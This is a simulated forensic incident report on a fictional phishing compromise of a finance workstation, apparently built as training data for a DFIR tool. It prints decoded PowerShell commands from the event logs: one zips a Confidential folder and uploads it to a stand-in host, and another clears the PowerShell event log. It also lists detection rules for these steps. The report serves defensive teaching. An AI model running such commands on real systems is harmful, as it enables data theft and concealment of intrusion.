Digital Forensic Investigation Report

MFS-IR-2026-0147 — Suspected workstation compromise – WS-FIN-042

SIMULATED EVIDENCE – This report was generated from a synthetic training dataset. All organisations, people, hosts, addresses and events are fictional.

Organisation	Meridian Financial Services (fictional)
Case status	analysis
Priority	high
Lead investigator	Alex Rivera (DFIR Investigator)
Report ID	RPT-20261030-36574B
Generated (UTC)	2026-10-30T08:09:08.598589+00:00
Generated by	arivera
Tool	TraceForge 1.0.0
Content SHA-256	9ed302a7f5643c3d3d1e2e862ab7c801f90577956532ab5719a532c7422a7db3
Ledger head hash	a08f5af760dbd4f724e24f222f1afbb2e6fc8de1f09f2e87a883d64bf3884808

The content SHA-256 covers every analytical section of this report. Regenerating the report from the same stored investigation data produces the same value. The ledger head hash should be recorded independently to make later rewriting of the audit trail detectable.

1. Incident description and summary

SIMULATED SCENARIO. The security team received an alert about unusual activity on finance workstation WS-FIN-042 (user jmorales) on 2026-10-14: a suspicious e-mail attachment was downloaded, an executable appeared, unusual process execution and access to confidential documents were recorded, and an unusual outbound connection appeared in firewall logs. Possible information exfiltration is suspected.

Metric	Value
Evidence items	9
Findings by classification	confirmed_rule_match: 20, informational: 15, suspicious: 47
Suspicious/confirmed findings by severity	high: 19, info: 2, low: 8, medium: 38
Timeline events	79
Correlated sequences (hypotheses)	5
Indicators	42 (benign_context: 10, observed: 16, suspicious: 8, watchlist_match: 8)

Correlated sequences

Rule	Sequence	Severity	Confidence	Window (UTC)
CORR-002	Suspected intrusion chain: delivery, execution, sensitive data access and outbound transfer	CRITICAL	high	2026-10-14T13:41:45 → 13:58:06
CORR-001	Downloaded executable was subsequently executed	HIGH	high	2026-10-14T13:41:45 → 13:43:10
CORR-003	Persistence created by a process descended from a downloaded executable	HIGH	high	2026-10-14T13:43:10 → 13:44:15
CORR-004	Archive staged then large outbound transfer	HIGH	low	2026-10-14T13:57:19 → 13:58:06
CORR-005	Event log cleared after suspicious execution	HIGH	low	2026-10-14T13:43:10 → 14:03:11

2. Analyst conclusions

Conclusions are written by the investigator and distinguish confirmed facts from hypotheses.

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[Demonstration analyst notes for the SIMULATED Meridian case]

Confirmed (directly supported by evidence):
- Q3_Vendor_Invoice.pdf.exe was downloaded through the webmail session on WS-FIN-042 and its SHA-256 matches the
acquired sample and the EDR file-creation record.
- The same image was executed by jmorales; its process lineage (PID/parent PID) includes PowerShell, msync.exe, a
scheduled task, a service and a new local administrator account.
- Files in Documents\Confidential were read by processes in that lineage, an archive was created, and 48 MB were sent
to 203.0.113.77:443.
- The 'Windows PowerShell' event log was cleared by jmorales' session.

Hypotheses (require validation):
- The outbound transfer contained the archived confidential documents (content not captured; supported by timing,
archive size and script block text).
- The failed logons from WS-HR-015 at 12:58 UTC are unrelated (no shared entity with the sequence).

Recommended next steps: isolate WS-FIN-042, acquire memory and full disk image, review proxy content logs for upload.
meridian-sync.example, reset jmorales credentials and remove svc_msync.
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3. Evidence inventory

Evidence ID	Original filename	Type	Size	SHA-256 / MD5	Acquired (UTC)
EV-20261030-0471EE50	WS-FIN-042_Security.evtx	windows_evtx	132.0 KB	9e3cef4b553e18d042913bd1d8c95fa87edbbf5ccadd22436df336eb1eba8582 md5 552ca48c8dc28f0074a7029bc42c687a	2026-10-30T08:08:31 by arivera
EV-20261030-C408F352	WS-FIN-042_System.evtx	windows_evtx	68.0 KB	7d93b3848c14c4b503aca89911e6bdebf2cb86b2e60881362138985992fcf84b md5 6fbc4f4eca03f30f03efba8478ab5c06	2026-10-30T08:08:31 by arivera
EV-20261030-6505A2DE	WS-FIN-042_PowerShell-Operational.evtx	windows_evtx	68.0 KB	0684f4f5a9a113feb921a52d84980bba5614c43cd7bd892c0cc40e2b8e727287 md5 66e0aae38087ce33a550ee192e001cd8	2026-10-30T08:08:31 by arivera
EV-20261030-C83247A1	Chrome_History_jmorales.sqlite	browser_history	36.0 KB	e4f1ba61fdc84a7fc54e47fabb4b89579cfd5b07e7ea5657ed91ae31d1947b4e md5 241643ef34eae5c3876294ffbf9a51e4	2026-10-30T08:08:31 by arivera
EV-20261030-1DF6EEAC	fw-edge-01_connections.csv	csv_log	1.3 KB	a9a2a38ba246fffea91beb28797a129eb778dc36a6a50fb69e3747525b34ad08 md5 8ca6940e17f50c25d3b619269b009ffb	2026-10-30T08:08:31 by arivera
EV-20261030-CBA60CBA	resolver_queries.log	text_log	1.4 KB	8bca3a5c3e07dcb711e5c99bc572129e54152225562158c0523c16dabfda9491 md5 c809eef89150e41ac82b7f53ee5cd3c6	2026-10-30T08:08:31 by arivera
EV-20261030-8D9B15D3	edr_file_events.json	json_events	3.9 KB	d2d1c0caf7fd0e6798326275f35dfad15fd1a93d1a445a2f8e4e78621e2a25d6 md5 420de75212b0c0b725e7adfbd3af3ac3	2026-10-30T08:08:31 by arivera
EV-20261030-27181959	Q3_Vendor_Invoice.pdf.exe	pe_executable	53.5 KB	b52143d4a49a8f3f362012f22805ec0da015a4efe8968a6167f72b5b79263290 md5 b09e01648413bd96871c7ae46d0bd19c	2026-10-30T08:08:31 by arivera
EV-20261030-30A9A7D7	MFS_ReportViewer.exe	pe_executable	2.0 KB	a900c7d1e2ed185e89ff95ccc059afefbf4678e764abe04eafebb67c5c09c520 md5 c0d577ea53662df23d58051c167cd8f9	2026-10-30T08:08:31 by arivera

4. Integrity verification

Every evidence item was re-hashed while generating this report. Ledger verification: VALID (73 records checked).

Evidence ID	File	Result	Observed SHA-256	Checks
EV-20261030-0471EE50	WS-FIN-042_Security.evtx	INFO	9e3cef4b553e18d042913bd1d8c95fa87edbbf5ccadd22436df336eb1eba8582	5
EV-20261030-1DF6EEAC	fw-edge-01_connections.csv	INFO	a9a2a38ba246fffea91beb28797a129eb778dc36a6a50fb69e3747525b34ad08	5
EV-20261030-27181959	Q3_Vendor_Invoice.pdf.exe	INFO	b52143d4a49a8f3f362012f22805ec0da015a4efe8968a6167f72b5b79263290	5
EV-20261030-30A9A7D7	MFS_ReportViewer.exe	INFO	a900c7d1e2ed185e89ff95ccc059afefbf4678e764abe04eafebb67c5c09c520	5
EV-20261030-6505A2DE	WS-FIN-042_PowerShell-Operational.evtx	INFO	0684f4f5a9a113feb921a52d84980bba5614c43cd7bd892c0cc40e2b8e727287	5
EV-20261030-8D9B15D3	edr_file_events.json	INFO	d2d1c0caf7fd0e6798326275f35dfad15fd1a93d1a445a2f8e4e78621e2a25d6	5
EV-20261030-C408F352	WS-FIN-042_System.evtx	INFO	7d93b3848c14c4b503aca89911e6bdebf2cb86b2e60881362138985992fcf84b	5
EV-20261030-C83247A1	Chrome_History_jmorales.sqlite	INFO	e4f1ba61fdc84a7fc54e47fabb4b89579cfd5b07e7ea5657ed91ae31d1947b4e	5
EV-20261030-CBA60CBA	resolver_queries.log	INFO	8bca3a5c3e07dcb711e5c99bc572129e54152225562158c0523c16dabfda9491	5

5. Acquisition records (from the audit ledger)

Seq	Timestamp (UTC)	Actor	Evidence	Record hash
6	2026-10-30T08:08:31.356	arivera	EV-20261030-0471EE50	195a8ed890910d206ffe7fe86bb977cf89a928998af737344c325ea5c1f17709
11	2026-10-30T08:08:31.478	arivera	EV-20261030-C408F352	b2feda8d9e87bbf5794adcc811418b9d8e83365373202e84439d330b0f2fa086
16	2026-10-30T08:08:31.536	arivera	EV-20261030-6505A2DE	b7dfd152abc4e18b0374705d239deac33777ec6575faf9c935a776bb077398d2
21	2026-10-30T08:08:31.556	arivera	EV-20261030-C83247A1	eb10c41e19e3f096f4cb1480115707bc9fd5e8bb52d6f9b1a1c081d32d1ab34b

Seq	Timestamp (UTC)	Actor	Evidence	Record hash
26	2026-10-30T08:08:31.565	arivera	EV-20261030-1DF6EEAC	f5cd0929857e6a6565379e874af41f114bae0507a1a55b0501473a91e4e563ae
31	2026-10-30T08:08:31.572	arivera	EV-20261030-CBA60CBA	18a69b55ea84a1c8023c87e076faf4c96d3aa4f1a39de8e6a4f5ad4d7224cdb0
36	2026-10-30T08:08:31.577	arivera	EV-20261030-8D9B15D3	d15bf86e6351b0e5c9ccd45b39743f10b7af4369d32adb7f820331006cdadfdf
41	2026-10-30T08:08:31.583	arivera	EV-20261030-27181959	c0c1e422eba49b09a2cdaef6f9286693180da4457783f7f15baf3e6d49b50007
46	2026-10-30T08:08:31.628	arivera	EV-20261030-30A9A7D7	3d11e6da548905f94f3af1900456c55f4ea4c9336e69b58c18c84fb307955154

6. Malware static analysis

Samples were never executed. Indicators are classified as suspicious, informational or inconclusive, each with the reasoning used.

Q3_Vendor_Invoice.pdf.exe (EV-20261030-27181959)

Assessment	suspicious_high: 8 suspicious indicators including high-severity traits. This does not prove malicious intent; it justifies prioritised dynamic analysis in an isolated environment and correlation with host and network evidence.
SHA-256	b52143d4a49a8f3f362012f22805ec0da015a4efe8968a6167f72b5b79263290
Type	PE32+ executable (64-bit)
File entropy	7.9109 (very high – consistent with compressed or encrypted content)
Compile timestamp	2026-10-11T22:14:07+00:00 (forgeable; context only)
Machine / subsystem	x64 (AMD64) / Windows GUI
Entry point	0x1000 in .text
Imphash	80414299237d77df6330dc581c95a6a1

Section	Virtual size	Raw size	Entropy	Flags	Notes
.text	512	512	0.0612	CODE EXECUTE READ	
.rdata	946	1024	3.5607	INITIALIZED_DATA READ	
.data	768	1024	4.132	INITIALIZED_DATA READ WRITE	
.msync	49152	49152	7.9958	INITIALIZED_DATA EXECUTE READ WRITE	writable_and_executable, high_entropy, nonstandard_name

ID	Indicator	Class	Severity	Rationale
PE-001	Executable disguised with a document-style double extension	suspicious	HIGH	The filename 'Q3_Vendor_Invoice.pdf.exe' ends in a document extension followed by an executable extension. Windows hides known extensions by default, so users may see only the document-like part. This is a common social-engineering technique; legitimate software rarely uses it.
PE-002	Section is both writable and executable	suspicious	MEDIUM	Sections marked WRITE+EXECUTE allow code to be modified at run time, which packers and self-modifying loaders rely on. Some legitimate JIT-based or older software also does this.
PE-003	High-entropy section	suspicious	MEDIUM	Entropy at or above 7.2 bits/byte indicates compressed or encrypted content, which can hide code from static analysis. Legitimate installers, compressed resources and media also score this high, so this indicator alone is weak.
PE-004	Imports consistent with process injection	suspicious	HIGH	The import table combines APIs that write into and start execution inside another process. Debuggers, security products and some management tools legitimately use the same APIs.
PE-005	HTTP client APIs together with embedded URLs	suspicious	MEDIUM	The binary imports HTTP client functionality and contains hard-coded URLs, so it is able to contact the listed destinations. Whether it does so, and why, cannot be established statically.
PE-006	Persistence capability (service/registry APIs with autostart references)	suspicious	MEDIUM	Service-installation or registry-write APIs are imported and the strings reference autostart locations or scheduled-task tooling. Installers legitimately do this; context is required.
PE-007	Debugger detection API imported	informational	LOW	Debugger checks are inserted by many compilers' runtime libraries; noted for context only.
PE-008	Non-standard section names	informational	LOW	Section names outside the usual compiler set can indicate custom tooling or packing; they can also be produced by less common compilers.
PE-009	Data appended after the last section (overlay)	suspicious	LOW	Overlays are used by installers and signed binaries (certificate tables) but also to carry encrypted payloads or configuration. Overlay size 2056 bytes, entropy 7.915.
PE-010	Compile timestamp recorded	informational	INFO	The PE timestamp is trivially forgeable; it is recorded for context and is not used for timeline reconstruction.
PE-011	Embedded hidden/encoded PowerShell command line	suspicious	HIGH	A string builds a PowerShell command line with hidden window and/or encoded command options. Encoded commands obscure what is executed and are frequently abused; some administrative tools also use them.
PE-014	Network indicators embedded in strings	informational	INFO	Hard-coded URLs and IP addresses are extracted as potential IOCs. Their presence does not show they were contacted; correlate with network evidence.

YARA rule	Severity	Explanation
TF_Synthetic_Test_Marker (TF-YARA-001)	INFO	The file contains the marker string embedded in every synthetic TraceForge sample. It proves the file belongs to the training dataset and says nothing about behaviour.

YARA rule	Severity	Explanation
TF_PE_Process_Injection_Imports (TF-YARA-002)	HIGH	WriteProcessMemory and CreateRemoteThread together with a memory allocation API allow code to be written into and run inside another process. Debuggers and security tools share this capability, so treat as a strong lead, not proof.
TF_PE_WX_HighEntropy_Section (TF-YARA-003)	MEDIUM	A section that is both writable and executable and whose entropy exceeds 7.2 bits/byte is typical of packed or encrypted payloads that are decoded in place at run time.
TF_Encoded_Hidden_PowerShell (TF-YARA-004)	HIGH	PowerShell launched with -EncodedCommand (or abbreviations such as -enc) and hidden window style conceals the executed script from casual inspection. Some management tooling does this legitimately.
TF_Archive_And_Upload_Staging (TF-YARA-005)	MEDIUM	The combination of archive creation and an HTTP POST upload is a common data-staging pattern. Backup and sync tools legitimately do the same, so correlate with what was archived and where it was sent.
TF_Autostart_Persistence_Strings (TF-YARA-006)	MEDIUM	Persistence locations combined with a binary path in a user-writable directory indicate the file may install itself to survive reboots. Legitimate installers also register autostart entries.
TF_Sensitive_Document_Targeting (TF-YARA-007)	LOW	A hard-coded path to a folder named Confidential is unusual in general-purpose software and may indicate targeted collection. It is a weak indicator on its own.

MFS_ReportViewer.exe (EV-20261030-30A9A7D7)

Assessment	no_suspicious_indicators: No suspicious static indicators were raised. Static analysis cannot prove a file is benign (packing, staged payloads and runtime behaviour are invisible to it).
SHA-256	a900c7d1e2ed185e89ff95ccc059afefbf4678e764abe04eafebb67c5c09c520
Type	PE32+ executable (64-bit)
File entropy	3.0969 (typical for code or mixed data)
Compile timestamp	2026-03-02T16:05:41+00:00 (forgeable; context only)
Machine / subsystem	x64 (AMD64) / Windows GUI
Entry point	0x1000 in .text
Imphash	8844810de671f36726b4ad4a5a31340b

Section	Virtual size	Raw size	Entropy	Flags	Notes
.text	512	512	0.0612	CODE EXECUTE READ	
.rdata	306	512	2.1805	INITIALIZED_DATA READ	
.data	384	512	3.7647	INITIALIZED_DATA READ WRITE	

ID	Indicator	Class	Severity	Rationale
PE-010	Compile timestamp recorded	informational	INFO	The PE timestamp is trivially forgeable; it is recorded for context and is not used for timeline reconstruction.
PE-014	Network indicators embedded in strings	informational	INFO	Hard-coded URLs and IP addresses are extracted as potential IOCs. Their presence does not show they were contacted; correlate with network evidence.

YARA rule	Severity	Explanation
TF_Synthetic_Test_Marker (TF-YARA-001)	INFO	The file contains the marker string embedded in every synthetic TraceForge sample. It proves the file belongs to the training dataset and says nothing about behaviour.

7. YARA matches across all evidence

File	Rule	Severity	Explanation
Q3_Vendor_Invoice.pdf.exe	TF_Encoded_Hidden_PowerShell (TF-YARA-004)	HIGH	PowerShell launched with -EncodedCommand (or abbreviations such as -enc) and hidden window style conceals the executed script from casual inspection. Some management tooling does this legitimately.
Q3_Vendor_Invoice.pdf.exe	TF_PE_Process_Injection_Imports (TF-YARA-002)	HIGH	WriteProcessMemory and CreateRemoteThread together with a memory allocation API allow code to be written into and run inside another process. Debuggers and security tools share this capability, so treat as a strong lead, not proof.
WS-FIN-042_Security.evtx	TF_Encoded_Hidden_PowerShell (TF-YARA-004)	HIGH	PowerShell launched with -EncodedCommand (or abbreviations such as -enc) and hidden window style conceals the executed script from casual inspection. Some management tooling does this legitimately.
Q3_Vendor_Invoice.pdf.exe	TF_Archive_And_Upload_Staging (TF-YARA-005)	MEDIUM	The combination of archive creation and an HTTP POST upload is a common data-staging pattern. Backup and sync tools legitimately do the same, so correlate with what was archived and where it was sent.
Q3_Vendor_Invoice.pdf.exe	TF_Autostart_Persistence_Strings (TF-YARA-006)	MEDIUM	Persistence locations combined with a binary path in a user-writable directory indicate the file may install itself to survive reboots. Legitimate installers also register autostart entries.

File	Rule	Severity	Explanation
Q3_Vendor_Invoice.pdf.exe	TF_PE_WX_HighEntropy_Section (TF-YARA-003)	MEDIUM	A section that is both writable and executable and whose entropy exceeds 7.2 bits/byte is typical of packed or encrypted payloads that are decoded in place at run time.
WS-FIN-042_PowerShell-Operational.evtx	TF_Archive_And_Upload_Staging (TF-YARA-005)	MEDIUM	The combination of archive creation and an HTTP POST upload is a common data-staging pattern. Backup and sync tools legitimately do the same, so correlate with what was archived and where it was sent.
Q3_Vendor_Invoice.pdf.exe	TF_Sensitive_Document_Targeting (TF-YARA-007)	LOW	A hard-coded path to a folder named Confidential is unusual in general-purpose software and may indicate targeted collection. It is a weak indicator on its own.
WS-FIN-042_PowerShell-Operational.evtx	TF_Sensitive_Document_Targeting (TF-YARA-007)	LOW	A hard-coded path to a folder named Confidential is unusual in general-purpose software and may indicate targeted collection. It is a weak indicator on its own.
WS-FIN-042_Security.evtx	TF_Sensitive_Document_Targeting (TF-YARA-007)	LOW	A hard-coded path to a folder named Confidential is unusual in general-purpose software and may indicate targeted collection. It is a weak indicator on its own.
MFS_ReportViewer.exe	TF_Synthetic_Test_Marker (TF-YARA-001)	INFO	The file contains the marker string embedded in every synthetic TraceForge sample. It proves the file belongs to the training dataset and says nothing about behaviour.
Q3_Vendor_Invoice.pdf.exe	TF_Synthetic_Test_Marker (TF-YARA-001)	INFO	The file contains the marker string embedded in every synthetic TraceForge sample. It proves the file belongs to the training dataset and says nothing about behaviour.

8. Windows event findings

Event ID	Meaning	Count
104	Event log cleared	1
4104	PowerShell script block logged	5
4624	Account logged on	1
4625	Account failed to log on	3
4647	User initiated logoff	1
4663	Attempt to access an object	8
4688	New process created	9
4698	Scheduled task created	1
4720	User account created	1
4732	Member added to local security group	1
5156	Windows Filtering Platform permitted a connection	2
6005	Event Log service started	1
7036	Service changed state	3
7045	New service installed	1

Time (UTC)	Rule	Severity	Class	Description
2026-10-14T13:45:03	WIN-ACCT-002 Member added to the local Administrators group	HIGH	suspicious	A security principal was added to BUILTIN\Administrators (4732, target SID S-1-5-32-544). Event: Member S-1-5-21-3623811015-3361044348-30300820-1188 added to group Administrators by jmorales
2026-10-14T14:03:11	WIN-DEF-002 Event log cleared	HIGH	suspicious	A non-Security event log was cleared (System 104). The cleared channel is recorded in UserData. Event: Event log 'Windows PowerShell' cleared by MERIDIANFS\jmorales
2026-10-14T13:44:40	WIN-PERSIST-003 Service installed with binary in a user-writable or ProgramData path	HIGH	suspicious	The installed service's binary resides outside Program Files / System32. Event: Service installed: MeridianSyncSvc -> "C:\ProgramData\MSync\msync.exe" --service (auto start, LocalSystem)
2026-10-14T13:43:10	WIN-PROC-002 Executable with a document-style double extension was run	HIGH	suspicious	The executed image name ends in a document extension followed by an executable extension. Event: Process created: C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe (parent C:\Windows\explorer.exe, user jmorales)
2026-10-14T13:43:31	WIN-PROC-003 PowerShell launched with encoded command or hidden window	HIGH	suspicious	powershell.exe/pwsh.exe started with -EncodedCommand (or abbreviation) and/or a hidden window. Event: Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (parent C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe, user jmorales) Decoded command: New-Item -ItemType Directory -Force -Path C:\ProgramData\MSync | Out-Null; Copy-Item -Path $env:USERPROFILE\Downloads\Q3_Vendor_Invoice.pdf.exe -Destination C:\ProgramData\MSync\msync.exe
2026-10-14T13:57:02	WIN-PROC-003 PowerShell launched with encoded command or hidden window	HIGH	suspicious	powershell.exe/pwsh.exe started with -EncodedCommand (or abbreviation) and/or a hidden window. Event: Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (parent C:\ProgramData\MSync\msync.exe, user jmorales) Decoded command: Compress-Archive -Path "$env:USERPROFILE\Documents\Confidential*" -DestinationPath C:\ProgramData\MSync\q3_archive.zip -Force; Invoke-WebRequest -Uri https://upload.meridian-sync.example/api/v2/upload -Method Post -InFile C:\ProgramData\MSync\q3_archive.zip -UseBasicParsing
2026-10-14T14:03:09	WIN-PROC-003 PowerShell launched with encoded command or hidden window	HIGH	suspicious	powershell.exe/pwsh.exe started with -EncodedCommand (or abbreviation) and/or a hidden window. Event: Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (parent C:\ProgramData\MSync\msync.exe, user jmorales) Decoded command: Clear-EventLog -LogName "Windows PowerShell"; Remove-Item -Force C:\ProgramData\MSync\q3_archive.zip
2026-10-14T13:57:03	WIN-PS-001 PowerShell script block with collection, staging or transfer keywords	HIGH	suspicious	A logged PowerShell script block contains keywords associated with archiving, uploading, log clearing or dynamic code execution. Event: PowerShell script block: Compress-Archive -Path "$env:USERPROFILE\Documents\Confidential*" -DestinationPath C:\ProgramData\MSync\q3_archive.zip -Force

Time (UTC)	Rule	Severity	Class	Description
2026-10-14T13:58:04	WIN-PS-001 PowerShell script block with collection, staging or transfer keywords	HIGH	suspicious	A logged PowerShell script block contains keywords associated with archiving, uploading, log clearing or dynamic code execution. Event: PowerShell script block: Invoke-WebRequest -Uri https://upload.meridian-sync.example/api/v2/upload -Method Post -InFile C:\ProgramData\MSync\q3_archive.zip -UseBasicParsing
2026-10-14T14:03:10	WIN-PS-001 PowerShell script block with collection, staging or transfer keywords	HIGH	suspicious	A logged PowerShell script block contains keywords associated with archiving, uploading, log clearing or dynamic code execution. Event: PowerShell script block: Clear-EventLog -LogName "Windows PowerShell"; Remove-Item -Force C:\ProgramData\MSync\q3_archive.zip
2026-10-14T13:44:58	WIN-ACCT-001 Local user account created	MEDIUM	suspicious	A user account was created (4720). Event: User account created: svc_msync by jmorales
2026-10-14T12:58:40	WIN-AUTH-001 Repeated failed logons for the same account	MEDIUM	suspicious	Three or more failed logons (4625) for the same account from the same source within five minutes. Observed 3 events for {'TargetUserName': 'administrator', 'IpAddress': '10.20.9.15'}.
2026-10-14T13:52:10	WIN-FILE-001 Access to a file in a sensitive location	MEDIUM	suspicious	An object-access audit event records access to a file under a folder configured as sensitive. Event: Object access: C:\Users\jmorales\Documents\Confidential\Q3_Board_Financials.xlsx by C:\ProgramData\MSync\msync.exe
2026-10-14T13:53:02	WIN-FILE-001 Access to a file in a sensitive location	MEDIUM	suspicious	An object-access audit event records access to a file under a folder configured as sensitive. Event: Object access: C:\Users\jmorales\Documents\Confidential\Client_Portfolio_Export.csv by C:\ProgramData\MSync\msync.exe
2026-10-14T13:54:37	WIN-FILE-001 Access to a file in a sensitive location	MEDIUM	suspicious	An object-access audit event records access to a file under a folder configured as sensitive. Event: Object access: C:\Users\jmorales\Documents\Confidential\Project_Atlas_MA_Term_Sheet.docx by C:\ProgramData\MSync\msync.exe
2026-10-14T13:55:47	WIN-FILE-001 Access to a file in a sensitive location	MEDIUM	suspicious	An object-access audit event records access to a file under a folder configured as sensitive. Event: Object access: C:\Users\jmorales\Documents\Confidential\Wire_Approval_Matrix_2026.pdf by C:\ProgramData\MSync\msync.exe
2026-10-14T13:57:05	WIN-FILE-001 Access to a file in a sensitive location	MEDIUM	suspicious	An object-access audit event records access to a file under a folder configured as sensitive. Event: Object access: C:\Users\jmorales\Documents\Confidential\Q3_Board_Financials.xlsx by C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
2026-10-14T13:57:05	WIN-FILE-001 Access to a file in a sensitive location	MEDIUM	suspicious	An object-access audit event records access to a file under a folder configured as sensitive. Event: Object access: C:\Users\jmorales\Documents\Confidential\Client_Portfolio_Export.csv by C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
2026-10-14T13:57:05	WIN-FILE-001 Access to a file in a sensitive location	MEDIUM	suspicious	An object-access audit event records access to a file under a folder configured as sensitive. Event: Object access: C:\Users\jmorales\Documents\Confidential\Project_Atlas_MA_Term_Sheet.docx by C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
2026-10-14T13:57:05	WIN-FILE-001 Access to a file in a sensitive location	MEDIUM	suspicious	An object-access audit event records access to a file under a folder configured as sensitive. Event: Object access: C:\Users\jmorales\Documents\Confidential\Wire_Approval_Matrix_2026.pdf by C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
2026-10-14T13:43:14	WIN-NET-002 Outbound connection by PowerShell or a binary in a user-writable path	MEDIUM	suspicious	PowerShell or a binary located in a user-writable directory connected to an external address. Event: Connection permitted: \device\harddiskvolume3\users\jmorales\downloads\q3_vendor_invoice.pdf.exe -> 203.0.113.77:443
2026-10-14T13:58:06	WIN-NET-002 Outbound connection by PowerShell or a binary in a user-writable path	MEDIUM	suspicious	PowerShell or a binary located in a user-writable directory connected to an external address. Event: Connection permitted: \device\harddiskvolume3\windows\system32\windowspowershell\v1.0\powershell.exe -> 203.0.113.77:443
2026-10-14T13:44:15	WIN-PERSIST-001 Scheduled task created	MEDIUM	suspicious	A scheduled task was registered (4698). Event: Scheduled task created: \Microsoft\Windows\MSync\Updater by jmorales
2026-10-14T13:44:40	WIN-PERSIST-002 Service installed	MEDIUM	suspicious	A new service was installed (System 7045). Event: Service installed: MeridianSyncSvc -> "C:\ProgramData\MSync\msync.exe" --service (auto start, LocalSystem)
2026-10-14T13:43:10	WIN-PROC-001 Process executed from a user-writable location	MEDIUM	suspicious	A process image was launched from Downloads, AppData, Desktop, ProgramData or a Temp directory. Event: Process created: C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe (parent C:\Windows\explorer.exe, user jmorales)

Time (UTC)	Rule	Severity	Class	Description
2026-10-14T13:43:31	WIN-PROC-004 Process spawned by a binary in a user-writable location	MEDIUM	suspicious	The parent process image lives in a user-writable directory. Event: Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (parent C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe, user jmorales)
2026-10-14T13:44:06	WIN-PROC-004 Process spawned by a binary in a user-writable location	MEDIUM	suspicious	The parent process image lives in a user-writable directory. Event: Process created: C:\ProgramData\MSync\msync.exe (parent C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe, user jmorales)

9. Browser artifacts

Downloads

Start (UTC)	Target path	Source URL / referrer	Size	Danger type
2026-10-14T12:39:58	C:\Users\jmorales\Downloads\Q3_Budget_Template.xlsx	https://intranet.meridianfs.example/finance/templates/Q3_Budget_Template.xlsx ref: https://intranet.meridianfs.example/finance/templates	82.2 KB	not_dangerous
2026-10-14T13:41:45	C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe	https://files.invoice-portal.example/d/7f3a9c2e/Q3_Vendor_Invoice.pdf.exe ref: https://mail.meridianfs.example/owa/	53.5 KB	user_validated

Visits

Time (UTC)	URL	Title	Transition
2026-10-14T12:33:01	https://intranet.meridianfs.example/	Meridian Intranet - Home	typed
2026-10-14T12:35:44	https://news.example.com/markets/today	Markets Today | Example News	typed
2026-10-14T12:39:50	https://intranet.meridianfs.example/finance/templates	Finance Templates	link
2026-10-14T13:38:02	https://mail.meridianfs.example/owa/#inbox	Mail - Jordan Morales - Outlook Web	typed
2026-10-14T13:41:20	https://mail.meridianfs.example/owa/#message/AAMkADQ3MjE2	RE: Overdue Q3 vendor invoice - action required	link
2026-10-14T13:41:44	https://files.invoice-portal.example/d/7f3a9c2e/Q3_Vendor_Invoice.pdf.exe		link
2026-10-14T13:48:15	https://mail.meridianfs.example/owa/#inbox	Mail - Jordan Morales - Outlook Web	reload
2026-10-14T14:15:22	https://intranet.meridianfs.example/it/report-phishing	Report a Suspicious Email - IT Security	link

Browser findings

Rule	Severity	Description	Rationale
BRW-002 Download of an executable disguised with a double extension	HIGH	Downloaded file 'C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe' from https://files.invoice-portal.example/d/7f3a9c2e/Q3_Vendor_Invoice.pdf.exe.	A document-style extension followed by an executable extension is a common lure; legitimate downloads rarely use it.
BRW-003 Browser download safety verdict: user_validated	MEDIUM	Chromium recorded danger_type 'user_validated' for 'C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe'.	'user_validated' means the browser warned about the file and the user chose to keep it. Other values indicate the browser's own reputation checks flagged it.
BRW-004 Executable downloaded via a webmail page	MEDIUM	Referrer of the download was https://mail.meridianfs.example/owa/.	Executables reached from e-mail are a primary phishing delivery path; shared software links are a benign explanation.

10. Network and file activity findings

Time (UTC)	Rule	Severity	Description
2026-10-14T13:58:06	NET-001 Large outbound transfer to an external address	HIGH	10.20.4.42 sent 48,213,904 bytes to 203.0.113.77:443 (allow).
2026-10-14T13:41:49	FILE-001 Executable written to a user-writable location	MEDIUM	chrome.exe created C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe.
2026-10-14T13:44:02	FILE-001 Executable written to a user-writable location	MEDIUM	powershell.exe created C:\ProgramData\MSync\msync.exe.
2026-10-14T13:52:10	FILE-003 Read of a file in a sensitive location	MEDIUM	C:\ProgramData\MSync\msync.exe read C:\Users\jmorales\Documents\Confidential\Q3_Board_Financials.xlsx.
2026-10-14T13:53:02	FILE-003 Read of a file in a sensitive location	MEDIUM	C:\ProgramData\MSync\msync.exe read C:\Users\jmorales\Documents\Confidential\Client_Portfolio_Export.csv.
2026-10-14T13:54:37	FILE-003 Read of a file in a sensitive location	MEDIUM	C:\ProgramData\MSync\msync.exe read C:\Users\jmorales\Documents\Confidential\Project_Atlas_MA_Term_Sheet.docx.

Time (UTC)	Rule	Severity	Description
2026-10-14T13:55:47	FILE-003 Read of a file in a sensitive location	MEDIUM	C:\ProgramData\MSync\msync.exe read C:\Users\jmorales\Documents\Confidential\Wire_Approval_Matrix_2026.pdf.
2026-10-14T13:57:19	FILE-002 Archive file created	LOW	powershell.exe created archive C:\ProgramData\MSync\q3_archive.zip (48203664 bytes).
2026-10-14T14:03:12	FILE-004 Archive deleted	LOW	powershell.exe deleted C:\ProgramData\MSync\q3_archive.zip.
2026-10-14T14:22:40	NET-002 Connection blocked by firewall policy	INFO	Connection to 203.0.113.77:443 was deny by rule 'ir-block-203.0.113.77'.

11. Indicators of compromise

Assessment is 'observed' unless a watchlist entry or a medium+ severity finding/correlation references the indicator. Extraction alone does not imply maliciousness.

Type	Indicator	Namespace	Assessment	Reason	Seen
domain	cdn.meridian-sync.example	reserved_example	watchlist_match	Matches local watchlist entry 'meridian-sync.example' (synthetic-intel-feed, confidence medium): Domain family used by fictional 'MSync' tooling (training data)	5
